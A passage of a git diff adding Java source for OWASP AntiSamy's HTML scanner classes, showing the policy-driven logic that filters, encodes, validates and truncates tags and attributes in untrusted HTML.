+ private boolean isAllowedEmptyTag(String tagName) {
+ return "head".equals(tagName) || allowedEmptyTags.matches( tagName);
+ }
+}
diff --git a/src/main/java/org/owasp/validator/html/scan/AbstractAntiSamyScanner.java b/src/main/java/org/owasp/validator/html/scan/AbstractAntiSamyScanner.java
new file mode 100644
index 0000000..50fe0ee
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/scan/AbstractAntiSamyScanner.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+package org.owasp.validator.html.scan;
+
+import java.io.Writer;
+import java.util.*;
+
+import org.apache.xml.serialize.OutputFormat;
+import org.owasp.validator.html.*;
+import org.owasp.validator.html.util.ErrorMessageUtil;
+
+public abstract class AbstractAntiSamyScanner {
+
+ protected final InternalPolicy policy;
+ protected final List<String> errorMessages = new ArrayList<String>();
+
+ protected static final ResourceBundle messages = getResourceBundle();
+ protected final Locale locale = Locale.getDefault();
+
+ protected boolean isNofollowAnchors = false;
+ protected boolean isValidateParamAsEmbed = false;
+
+ public abstract CleanResults scan(String html) throws ScanException;
+
+ /** @noinspection UnusedDeclaration TODO: Investigate */
+ public abstract CleanResults getResults();
+
+ public AbstractAntiSamyScanner(Policy policy) {
+ this.policy = (InternalPolicy) policy;
+ }
+
+ public AbstractAntiSamyScanner() throws PolicyException {
+ policy = (InternalPolicy) Policy.getInstance();
+ }
+
+ private static ResourceBundle getResourceBundle() {
+ try {
+ return ResourceBundle.getBundle("AntiSamy", Locale.getDefault());
+ } catch (MissingResourceException mre) {
+ return ResourceBundle.getBundle("AntiSamy", new Locale(Constants.DEFAULT_LOCALE_LANG, Constants.DEFAULT_LOCALE_LOC));
+ }
+ }
+
+ protected void addError(String errorKey, Object[] objs) {
+ errorMessages.add(ErrorMessageUtil.getMessage(messages, errorKey, objs));
+ }
+
+
+ protected OutputFormat getOutputFormat() {
+
+ OutputFormat format = new OutputFormat();
+ format.setOmitXMLDeclaration(policy.isOmitXmlDeclaration());
+ format.setOmitDocumentType(policy.isOmitDoctypeDeclaration());
+ format.setPreserveEmptyAttributes(true);
+ format.setPreserveSpace(policy.isPreserveSpace());
+
+ if (policy.isFormatOutput()) {
+ format.setLineWidth(80);
+ format.setIndenting(true);
+ format.setIndent(2);
+ }
+
+ return format;
+ }
+
+ /** @noinspection deprecation*/
+ protected org.apache.xml.serialize.HTMLSerializer getHTMLSerializer(Writer w, OutputFormat format) {
+
+ if(policy.isUseXhtml()) {
+ return new ASXHTMLSerializer(w, format, policy);
+ }
+
+ return new ASHTMLSerializer(w, format, policy);
+ }
+
+ protected String trim(String original, String cleaned) {
+ if (cleaned.endsWith("\n")) {
+ if (!original.endsWith("\n")) {
+ if (cleaned.endsWith("\r\n")) {
+ cleaned = cleaned.substring(0, cleaned.length() - 2);
+ } else if (cleaned.endsWith("\n")) {
+ cleaned = cleaned.substring(0, cleaned.length() - 1);
+ }
+ }
+ }
+
+ return cleaned;
+ }
+}
diff --git a/src/main/java/org/owasp/validator/html/scan/AntiSamyDOMScanner.java b/src/main/java/org/owasp/validator/html/scan/AntiSamyDOMScanner.java
new file mode 100644
index 0000000..945ef0a
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/scan/AntiSamyDOMScanner.java
@@ -0,0 +1,852 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+package org.owasp.validator.html.scan;
+
+import org.apache.batik.css.parser.ParseException;
+import org.apache.xerces.dom.DocumentImpl;
+import org.cyberneko.html.parsers.DOMFragmentParser;
+import org.owasp.validator.css.CssScanner;
+import org.owasp.validator.css.ExternalCssScanner;
+import org.owasp.validator.html.CleanResults;
+import org.owasp.validator.html.Policy;
+import org.owasp.validator.html.PolicyException;
+import org.owasp.validator.html.ScanException;
+import org.owasp.validator.html.model.Attribute;
+import org.owasp.validator.html.model.Tag;
+import org.owasp.validator.html.util.ErrorMessageUtil;
+import org.owasp.validator.html.util.HTMLEntityEncoder;
+import org.w3c.dom.*;
+import org.xml.sax.InputSource;
+import org.xml.sax.SAXException;
+import org.xml.sax.SAXNotRecognizedException;
+import org.xml.sax.SAXNotSupportedException;
+
+import java.io.IOException;
+import java.io.StringReader;
+import java.io.StringWriter;
+import java.util.*;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ConcurrentLinkedQueue;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * This is where the magic lives. All the scanning/filtration logic resides
+ * here, but it should not be called directly. All scanning should be done
+ * through a <code>AntiSamy.scan()</code> method.
+ *
+ * @author Arshan Dabirsiaghi
+ *
+ */
+public class AntiSamyDOMScanner extends AbstractAntiSamyScanner {
+
+ private Document document = new DocumentImpl();
+ private DocumentFragment dom = document.createDocumentFragment();
+ private CleanResults results = null;
+ private static final int maxDepth = 250;
+ private static final Pattern invalidXmlCharacters =
+ Pattern.compile("[\\u0000-\\u001F\\uD800-\\uDFFF\\uFFFE-\\uFFFF&&[^\\u0009\\u000A\\u000D]]");
+ private static final Pattern conditionalDirectives =
+ Pattern.compile("<?!?\\[\\s*(?:end)?if[^]]*\\]>?");
+
+ private static final Queue<CachedItem> cachedItems = new ConcurrentLinkedQueue<CachedItem>();
+
+ static class CachedItem {
+ private final DOMFragmentParser parser;
+ private final Matcher invalidXmlCharMatcher = invalidXmlCharacters.matcher("");
+
+
+ CachedItem() throws SAXNotSupportedException, SAXNotRecognizedException {
+ this.parser = getDomParser();
+ }
+
+ DOMFragmentParser getDomFragmentParser() {
+ return parser;
+ }
+ }
+
+ public AntiSamyDOMScanner(Policy policy) {
+ super(policy);
+ }
+
+ /** @noinspection UnusedDeclaration Todo Investigate */
+ public AntiSamyDOMScanner() throws PolicyException {
+ super();
+ }
+
+ /**
+ * This is where the magic lives.
+ *
+ *
+ * @param html
+ * A String whose contents we want to scan.
+ * @return A <code>CleanResults</code> object with an
+ * <code>XMLDocumentFragment</code> object and its String
+ * representation, as well as some scan statistics.
+ * @throws ScanException
+ */
+ public CleanResults scan(String html) throws ScanException {
+
+ if (html == null) {
+ throw new ScanException(new NullPointerException("Null input"));
+ }
+
+ errorMessages.clear();
+ int maxInputSize = policy.getMaxInputSize();
+
+ if (maxInputSize < html.length()) {
+ addError(ErrorMessageUtil.ERROR_INPUT_SIZE, new Object[]{html.length(), maxInputSize});
+ throw new ScanException(errorMessages.get(0));
+ }
+
+ isNofollowAnchors = policy.isNofollowAnchors();
+ isValidateParamAsEmbed = policy.isValidateParamAsEmbed();
+
+ long startOfScan = System.currentTimeMillis();
+
+ try {
+
+ CachedItem cachedItem;
+ cachedItem = cachedItems.poll();
+ if (cachedItem == null){
+ cachedItem = new CachedItem();
+ }
+
+ /*
+ * We have to replace any invalid XML characters to prevent NekoHTML
+ * from breaking when it gets passed encodings like %21.
+ */
+
+ html = stripNonValidXMLCharacters(html, cachedItem.invalidXmlCharMatcher);
+
+ /*
+ * First thing we do is call the HTML cleaner ("NekoHTML") on it
+ * with the appropriate options. We choose not to omit tags due to
+ * the fallibility of our own listing in the ever changing world of
+ * W3C.
+ */
+
+
+ DOMFragmentParser parser = cachedItem.getDomFragmentParser();
+
+ try {
+ parser.parse(new InputSource(new StringReader(html)), dom);
+ } catch (Exception e) {
+ throw new ScanException(e);
+ }
+
+ processChildren(dom, 0);
+
+ /*
+ * Serialize the output and then return the resulting DOM object and
+ * its string representation.
+ */
+
+
+ final String trimmedHtml = html;
+
+ StringWriter out = new StringWriter();
+
+ @SuppressWarnings("deprecation")
+ org.apache.xml.serialize.OutputFormat format = getOutputFormat();
+
+ //noinspection deprecation
+ org.apache.xml.serialize.HTMLSerializer serializer = getHTMLSerializer(out, format);
+ serializer.serialize(dom);
+
+ /*
+ * Get the String out of the StringWriter and rip out the XML
+ * declaration if the Policy says we should.
+ */
+ final String trimmed = trim( trimmedHtml, out.getBuffer().toString() );
+
+ Callable<String> cleanHtml = new Callable<String>() {
+ public String call() throws Exception {
+ return trimmed;
+ }
+ };
+
+ /**
+ * Return the DOM object as well as string HTML.
+ */
+ results = new CleanResults(startOfScan, cleanHtml, dom, errorMessages);
+
+ cachedItems.add( cachedItem);
+ return results;
+
+
+ } catch (SAXException e) {
+ throw new ScanException(e);
+ }
+ catch ( IOException e ) {
+ throw new ScanException(e);
+ }
+
+ }
+
+ static DOMFragmentParser getDomParser()
+ throws SAXNotRecognizedException, SAXNotSupportedException {
+ DOMFragmentParser parser = new DOMFragmentParser();
+ parser.setProperty("http://cyberneko.org/html/properties/names/elems", "lower");
+
+ parser.setFeature("http://cyberneko.org/html/features/scanner/style/strip-cdata-delims", false);
+ parser.setFeature("http://cyberneko.org/html/features/scanner/cdata-sections", true);
+
+ try {
+ parser.setFeature("http://cyberneko.org/html/features/enforce-strict-attribute-names", true);
+ } catch (SAXNotRecognizedException se) {
+ // this indicates that the patched nekohtml is not on the
+ // classpath
+ }
+ return parser;
+ }
+
+ /**
+ * The workhorse of the scanner. Recursively scans document elements
+ * according to the policy. This should be called implicitly through the
+ * AntiSamy.scan() method.
+ *
+ * @param node
+ * The node to validate.
+ */
+ private void recursiveValidateTag(final Node node, int currentStackDepth) throws ScanException {
+
+ currentStackDepth++;
+
+ if(currentStackDepth > maxDepth) {
+ throw new ScanException("Too many nested tags");
+ }
+
+ if (node instanceof Comment) {
+ processCommentNode(node);
+ return;
+ }
+
+ boolean isElement = node instanceof Element;
+ NodeList eleChildNodes = node.getChildNodes();
+ if (isElement && eleChildNodes.getLength() == 0) {
+ if (removeDisallowedEmpty(node)){
+ return;
+ }
+ }
+
+ if (node instanceof Text && Node.CDATA_SECTION_NODE == node.getNodeType()) {
+ stripCData(node);
+ return;
+ }
+
+ if (node instanceof ProcessingInstruction) {
+ removePI(node);
+ }
+
+ if (!isElement) {
+ return;
+ }
+
+ final Element ele = (Element) node;
+ final Node parentNode = ele.getParentNode();
+
+ final String tagName = ele.getNodeName();
+ final String tagNameLowerCase = tagName.toLowerCase();
+ Tag tagRule = policy.getTagByLowercaseName(tagNameLowerCase);
+
+ /*
+ * If <param> and no policy and isValidateParamAsEmbed and policy in
+ * place for <embed> and <embed> policy is to validate, use custom
+ * policy to get the tag through to the validator.
+ */
+ Tag embedTag = policy.getEmbedTag();
+ boolean masqueradingParam = isMasqueradingParam(tagRule, embedTag, tagNameLowerCase);
+ if (masqueradingParam){
+ tagRule = Constants.BASIC_PARAM_TAG_RULE;
+ }
+
+ if ((tagRule == null && policy.isEncodeUnknownTag()) || (tagRule != null && tagRule.isAction( "encode"))) {
+ encodeTag(currentStackDepth, ele, tagName, eleChildNodes);
+ } else if (tagRule == null || tagRule.isAction( Policy.ACTION_FILTER)) {
+ actionFilter(currentStackDepth, ele, tagName, tagRule, eleChildNodes);
+ } else if (tagRule.isAction( Policy.ACTION_VALIDATE)) {
+ actionValidate(currentStackDepth, ele, parentNode, tagName, tagNameLowerCase, tagRule, masqueradingParam, embedTag, eleChildNodes);
+ } else if (tagRule.isAction( Policy.ACTION_TRUNCATE)) {
+ actionTruncate(ele, tagName, eleChildNodes);
+ } else {
+ /*
+ * If we reached this that means that the tag's action is "remove",
+ * which means to remove the tag (including its contents).
+ */
+ addError(ErrorMessageUtil.ERROR_TAG_DISALLOWED, new Object[]{HTMLEntityEncoder.htmlEntityEncode(tagName)});
+ removeNode(ele);
+ }
+ }
+
+ private boolean isMasqueradingParam(Tag tagRule, Tag embedTag, String tagNameLowerCase){
+ if (tagRule == null && isValidateParamAsEmbed && "param".equals(tagNameLowerCase)) {
+ if (embedTag != null && embedTag.isAction( Policy.ACTION_VALIDATE)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ private void encodeTag(int currentStackDepth, Element ele, String tagName, NodeList eleChildNodes) throws ScanException {
+ addError(ErrorMessageUtil.ERROR_TAG_ENCODED, new Object[]{HTMLEntityEncoder.htmlEntityEncode(tagName)});
+ processChildren(eleChildNodes, currentStackDepth);
+
+ /*
+ * Transform the tag to text, HTML-encode it and promote the
+ * children. The tag will be kept in the fragment as one or two text
+ * Nodes located before and after the children; representing how the
+ * tag used to wrap them.
+ */
+
+ encodeAndPromoteChildren(ele);
+ }
+
+ private void actionFilter(int currentStackDepth, Element ele, String tagName, Tag tag, NodeList eleChildNodes) throws ScanException {
+ if (tag == null) {
+ addError(ErrorMessageUtil.ERROR_TAG_NOT_IN_POLICY, new Object[]{HTMLEntityEncoder.htmlEntityEncode(tagName)});
+ } else {
+ addError(ErrorMessageUtil.ERROR_TAG_FILTERED, new Object[]{HTMLEntityEncoder.htmlEntityEncode(tagName)});
+ }
+
+ processChildren(eleChildNodes, currentStackDepth);
+ promoteChildren(ele);
+ }
+
+ private void actionValidate(int currentStackDepth, Element ele, Node parentNode, String tagName, String tagNameLowerCase, Tag tag, boolean masqueradingParam, Tag embedTag, NodeList eleChildNodes) throws ScanException {
+ /*
+ * If doing <param> as <embed>, now is the time to convert it.
+ */
+ String nameValue = null;
+ if (masqueradingParam) {
+ nameValue = ele.getAttribute("name");
+ if (nameValue != null && !"".equals(nameValue)) {
+ String valueValue = ele.getAttribute("value");
+ ele.setAttribute(nameValue, valueValue);
+ ele.removeAttribute("name");
+ ele.removeAttribute("value");
+ tag = embedTag;
+ }
+ }
+
+ /*
+ * Check to see if it's a <style> tag. We have to special case this
+ * tag so we can hand it off to the custom style sheet validating
+ * parser.
+ */
+
+ if ("style".equals(tagNameLowerCase) && policy.getStyleTag() != null) {
+ if (processStyleTag(ele, parentNode)) return;
+ }
+
+ /*
+ * Go through the attributes in the tainted tag and validate them
+ * against the values we have for them.
+ *
+ * If we don't have a rule for the attribute we remove the
+ * attribute.
+ */
+
+ if (processAttributes(ele, tagName, tag, currentStackDepth)) return; // can't process any more if we
+
+ if (isNofollowAnchors && "a".equals(tagNameLowerCase)) {
+ ele.setAttribute("rel", "nofollow");
+ }
+
+ processChildren(eleChildNodes, currentStackDepth);
+
+ /*
+ * If we have been dealing with a <param> that has been converted to
+ * an <embed>, convert it back
+ */
+ if (masqueradingParam && nameValue != null && !"".equals(nameValue)) {
+ String valueValue = ele.getAttribute(nameValue);
+ ele.setAttribute("name", nameValue);
+ ele.setAttribute("value", valueValue);
+ ele.removeAttribute(nameValue);
+ }
+ }
+
+ private boolean processStyleTag(Element ele, Node parentNode) {
+ /*
+* Invoke the css parser on this element.
+*/
+ CssScanner styleScanner;
+
+ if(policy.isEmbedStyleSheets()) {
+ styleScanner = new ExternalCssScanner(policy, messages);
+ }else{
+ styleScanner = new CssScanner(policy, messages);
+ }
+
+ try {
+
+ Node firstChild = ele.getFirstChild();
+ if (firstChild != null) {
+
+ String toScan = firstChild.getNodeValue();
+
+ CleanResults cr = styleScanner.scanStyleSheet(toScan, policy.getMaxInputSize());
+
+ errorMessages.addAll(cr.getErrorMessages());
+
+ /*
+ * If IE gets an empty style tag, i.e. <style/> it will
+ * break all CSS on the page. I wish I was kidding. So,
+ * if after validation no CSS properties are left, we
+ * would normally be left with an empty style tag and
+ * break all CSS. To prevent that, we have this check.
+ */
+
+ final String cleanHTML = cr.getCleanHTML();
+
+ if (cleanHTML == null || cleanHTML.equals("")) {
+
+ firstChild.setNodeValue("/* */");
+
+ } else {
+
+ firstChild.setNodeValue(cleanHTML);
+
+ }
+
+ }
+
+ } catch (DOMException e) {
+
+ addError(ErrorMessageUtil.ERROR_CSS_TAG_MALFORMED, new Object[]{HTMLEntityEncoder.htmlEntityEncode(ele.getFirstChild().getNodeValue())});
+ parentNode.removeChild(ele);
+ return true;
+
+ } catch (ScanException e) {
+
+ addError(ErrorMessageUtil.ERROR_CSS_TAG_MALFORMED, new Object[]{HTMLEntityEncoder.htmlEntityEncode(ele.getFirstChild().getNodeValue())});
+ parentNode.removeChild(ele);
+ return true;
+
+ /*
+ * This shouldn't be reachable anymore, but we'll leave it
+ * here because I'm hilariously dumb sometimes.
+ */
+ } catch (ParseException e) {
+
+ addError(ErrorMessageUtil.ERROR_CSS_TAG_MALFORMED, new Object[]{HTMLEntityEncoder.htmlEntityEncode(ele.getFirstChild().getNodeValue())});
+ parentNode.removeChild(ele);
+ return true;
+
+ /*
+ * Batik can throw NumberFormatExceptions (see bug #48).
+ */
+ } catch (NumberFormatException e) {
+
+ addError(ErrorMessageUtil.ERROR_CSS_TAG_MALFORMED, new Object[]{HTMLEntityEncoder.htmlEntityEncode(ele.getFirstChild().getNodeValue())});
+ parentNode.removeChild(ele);
+ return true;
+ }
+ return false;
+ }
+
+ private void actionTruncate(Element ele, String tagName, NodeList eleChildNodes) {
+ /*
+ * Remove all attributes. This is for tags like i, b, u, etc. Purely
+ * formatting without any need for attributes. It also removes any
+ * children.
+ */
+
+ NamedNodeMap nnmap = ele.getAttributes();
+
+ while (nnmap.getLength() > 0) {
+
+ addError(ErrorMessageUtil.ERROR_ATTRIBUTE_NOT_IN_POLICY, new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(nnmap.item(0).getNodeName())});
+
+ ele.removeAttribute(nnmap.item(0).getNodeName());
+
+ }
+
+ int i = 0;
+ int j = 0;
+ int length = eleChildNodes.getLength();
+
+ while (i < length) {
+
+ Node nodeToRemove = eleChildNodes.item(j);
+
+ if (nodeToRemove.getNodeType() != Node.TEXT_NODE) {
+ ele.removeChild(nodeToRemove);
+ } else {
+ j++;
+ }
+
+ i++;
+ }
+ }
+
+ private boolean processAttributes(Element ele, String tagName, Tag tag, int currentStackDepth) throws ScanException {
+ Node attribute;
+
+ NamedNodeMap attributes = ele.getAttributes();
+ for (int currentAttributeIndex = 0; currentAttributeIndex < attributes.getLength(); currentAttributeIndex++) {
+
+ attribute = attributes.item(currentAttributeIndex);
+
+ String name = attribute.getNodeName();
+ String value = attribute.getNodeValue();
+
+ Attribute attr = tag.getAttributeByName(name.toLowerCase());
+
+ /**
+ * If we there isn't an attribute by that name in our policy
+ * check to see if it's a globally defined attribute. Validate
+ * against that if so.
+ */
+ if (attr == null) {
+ attr = policy.getGlobalAttributeByName(name);
+ }
+
+ boolean isAttributeValid = false;
+
+ /*
+ * We have to special case the "style" attribute since it's
+ * validated quite differently.
+ */
+ if ("style".equals(name.toLowerCase()) && attr != null) {
+
+ /*
+ * Invoke the CSS parser on this element.
+ */
+ CssScanner styleScanner = new CssScanner(policy, messages);
+
+ try {
+
+ CleanResults cr = styleScanner.scanInlineStyle(value, tagName, policy.getMaxInputSize());
+
+ attribute.setNodeValue(cr.getCleanHTML());
+
+ List<String> cssScanErrorMessages = cr.getErrorMessages();
+
+ errorMessages.addAll(cssScanErrorMessages);
+
+ } catch (DOMException e) {
+
+ addError(ErrorMessageUtil.ERROR_CSS_ATTRIBUTE_MALFORMED, new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(ele.getNodeValue())});
+
+ ele.removeAttribute(attribute.getNodeName());
+ currentAttributeIndex--;
+
+ } catch (ScanException e) {
+
+ addError(ErrorMessageUtil.ERROR_CSS_ATTRIBUTE_MALFORMED, new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(ele.getNodeValue())});
+
+ ele.removeAttribute(attribute.getNodeName());
+ currentAttributeIndex--;
+ }
+
+ } else {
+
+ if (attr != null) {
+
+ if (attr.containsAllowedValue( value.toLowerCase())) {
+ isAttributeValid = true;
+ }
+
+ if (attr.matchesAllowedExpression(value)){
+ isAttributeValid = true;
+ }
+
+ if (!isAttributeValid) {
+
+ /*
+ * Document transgression and perform the
+ * "onInvalid" action. The default action is to
+ * strip the attribute and leave the rest intact.
+ */
+
+ String onInvalidAction = attr.getOnInvalid();
+
+ if ("removeTag".equals(onInvalidAction)) {
+
+ /*
+ * Remove the tag and its contents.
+ */
+
+ removeNode(ele);
+
+ addError(ErrorMessageUtil.ERROR_ATTRIBUTE_INVALID_REMOVED,
+ new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(name), HTMLEntityEncoder.htmlEntityEncode(value)});
+ return true;
+
+ } else if ("filterTag".equals(onInvalidAction)) {
+
+ /*
+ * Remove the attribute and keep the rest of the
+ * tag.
+ */
+
+ processChildren(ele, currentStackDepth);
+
+ promoteChildren(ele);
+
+ addError(ErrorMessageUtil.ERROR_ATTRIBUTE_CAUSE_FILTER, new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(name), HTMLEntityEncoder.htmlEntityEncode(value)});
+
+ } else if ("encodeTag".equals(onInvalidAction)) {
+
+ /*
+ * Remove the attribute and keep the rest of the
+ * tag.
+ */
+
+ processChildren(ele, currentStackDepth);
+
+ encodeAndPromoteChildren(ele);
+
+ addError(ErrorMessageUtil.ERROR_ATTRIBUTE_CAUSE_ENCODE, new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(name), HTMLEntityEncoder.htmlEntityEncode(value)});
+
+ } else {
+
+ /*
+ * onInvalidAction = "removeAttribute"
+ */
+
+ ele.removeAttribute(attribute.getNodeName());
+
+ currentAttributeIndex--;
+
+ addError(ErrorMessageUtil.ERROR_ATTRIBUTE_INVALID, new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(name), HTMLEntityEncoder.htmlEntityEncode(value)});
+
+ if ("removeTag".equals(onInvalidAction) || "filterTag".equals(onInvalidAction)) {
+ return true;
+ // remove/filter the tag
+ }
+
+ }
+
+ }
+
+ } else { /*
+ * the attribute they specified isn't in our policy
+ * - remove it (whitelisting!)
+ */
+
+ addError(ErrorMessageUtil.ERROR_ATTRIBUTE_NOT_IN_POLICY, new Object[]{tagName, HTMLEntityEncoder.htmlEntityEncode(name), HTMLEntityEncoder.htmlEntityEncode(value)});
+
+ ele.removeAttribute(attribute.getNodeName());
+
+ currentAttributeIndex--;
+
+ } // end if attribute is or is not found in policy file
+
+ } // end while loop through attributes
+
+ } // loop through each attribute
+ return false;
+ }
+
+ private void processChildren(Node ele, int currentStackDepth) throws ScanException {
+ processChildren(ele.getChildNodes(), currentStackDepth);
+ }
+
+ private void processChildren(NodeList childNodes, int currentStackDepth ) throws ScanException {
+ Node tmp;
+ for (int i = 0; i < childNodes.getLength(); i++) {
+
+ tmp = childNodes.item(i);
+
+ recursiveValidateTag(tmp, currentStackDepth);
+
+ /*
+ * This indicates the node was removed/failed validation.
+ */
+ if (tmp.getParentNode() == null) {
+ i--;
+ }
+ }
+ }
+
+ private void removePI(Node node) {
+ addError(ErrorMessageUtil.ERROR_PI_FOUND, new Object[]{HTMLEntityEncoder.htmlEntityEncode(node.getTextContent())});
+ removeNode(node);
+ node.getParentNode().removeChild(node);
+ }
+
+ private void stripCData(Node node) {
+ addError(ErrorMessageUtil.ERROR_CDATA_FOUND, new Object[]{HTMLEntityEncoder.htmlEntityEncode(node.getTextContent())});
+ Node text = document.createTextNode(node.getTextContent());
+ node.getParentNode().insertBefore(text, node);
+ node.getParentNode().removeChild(node);
+ }
+
+ private void processCommentNode(Node node) {
+ if (!policy.isPreserveComments()) {
+ node.getParentNode().removeChild(node);
+ } else {
+ String value = ((Comment) node).getData();
+ // Strip conditional directives regardless of the
+ // PRESERVE_COMMENTS setting.
+ if (value != null) {
+ ((Comment) node).setData(conditionalDirectives.matcher(value).replaceAll(""));
+ }
+ }
+ }
+
+ private boolean removeDisallowedEmpty(Node node){
+ String tagName = node.getNodeName();
+
+ if (!isAllowedEmptyTag(tagName)) {
+ /*
+ * Wasn't in the list of allowed elements, so we'll nuke it.
+ */
+ addError(ErrorMessageUtil.ERROR_TAG_EMPTY, new Object[]{HTMLEntityEncoder.htmlEntityEncode(node.getNodeName())});
+ removeNode(node);
+ return true;
+ }
+ return false;
+ }
+
+ private void removeNode(Node node) {
+ Node parent = node.getParentNode();
+ parent.removeChild(node);
+ String tagName = parent.getNodeName();
+ if( parent instanceof Element &&
+ parent.getChildNodes().getLength() == 0 &&
+ !isAllowedEmptyTag(tagName)) {
+ removeNode(parent);
+ }
+ }
+
+ private boolean isAllowedEmptyTag(String tagName) {
+ return "head".equals(tagName ) || policy.getAllowedEmptyTags().matches(tagName);
+ }
+
+ public static void main(String[] args) throws PolicyException {
+ }
+
+
+ /**
+ * Used to promote the children of a parent to accomplish the "filterTag"
+ * action.
+ *
+ * @param ele
+ * The Element we want to filter.
+ */
+ private void promoteChildren(Element ele) {
+ promoteChildren(ele, ele.getChildNodes());
+ }
+
+ private void promoteChildren(Element ele, NodeList eleChildNodes) {
+
+ Node parent = ele.getParentNode();
+
+ while (eleChildNodes.getLength() > 0) {
+ Node node = ele.removeChild(eleChildNodes.item(0));
+ parent.insertBefore(node, ele);
+ }
+
+ if (parent != null){
+ removeNode(ele);
+ }
+ }
+
+ /**
+ *
+ * This method was borrowed from Mark McLaren, to whom I owe much beer.
+ *
+ * This method ensures that the output has only valid XML unicode characters
+ * as specified by the XML 1.0 standard. For reference, please see <a
+ * href="http://www.w3.org/TR/2000/REC-xml-20001006#NT-Char">the
+ * standard</a>. This method will return an empty String if the input is
+ * null or empty.
+ *
+ *
+ * @param in
+ * The String whose non-valid characters we want to remove.
+ * @param invalidXmlCharsMatcher The reusable regex matcher
+ * @return The in String, stripped of non-valid characters.
+ */
+ private String stripNonValidXMLCharacters(String in, Matcher invalidXmlCharsMatcher) {
+
+ if (in == null || ("".equals(in))) {
+ return ""; // vacancy test.
+ }
+ invalidXmlCharsMatcher.reset(in);
+ return invalidXmlCharsMatcher.matches() ? invalidXmlCharsMatcher.replaceAll("") : in;
+ }
+
+ // private void debug(String s) { System.out.println(s); }
+ /**
+ * Transform the element to text, HTML-encode it and promote the children.
+ * The element will be kept in the fragment as one or two text Nodes located
+ * before and after the children; representing how the tag used to wrap
+ * them. If the element didn't have any children then only one text Node is
+ * created representing an empty element. *
+ *
+ * @param ele
+ * Element to be encoded
+ */
+ private void encodeAndPromoteChildren(Element ele) {
+ Node parent = ele.getParentNode();
+ String tagName = ele.getTagName();
+ Node openingTag = parent.getOwnerDocument().createTextNode(toString(ele));
+ parent.insertBefore(openingTag, ele);
+ if (ele.hasChildNodes()) {
+ Node closingTag = parent.getOwnerDocument().createTextNode("</" + tagName + ">");
+ parent.insertBefore(closingTag, ele.getNextSibling());
+ }
+ promoteChildren(ele);
+ }
+
+ /**
+ * Returns a text version of the passed element
+ *
+ * @param ele
+ * Element to be converted
+ * @return String representation of the element
+ */
+ private String toString(Element ele) {
+ StringBuilder eleAsString = new StringBuilder("<" + ele.getNodeName());
+ NamedNodeMap attributes = ele.getAttributes();
+ Node attribute;
+ for (int i = 0; i < attributes.getLength(); i++) {
+ attribute = attributes.item(i);
+
+ String name = attribute.getNodeName();
+ String value = attribute.getNodeValue();
+
+ eleAsString.append(" ");
+ eleAsString.append(HTMLEntityEncoder.htmlEntityEncode(name));
+ eleAsString.append("=\"");
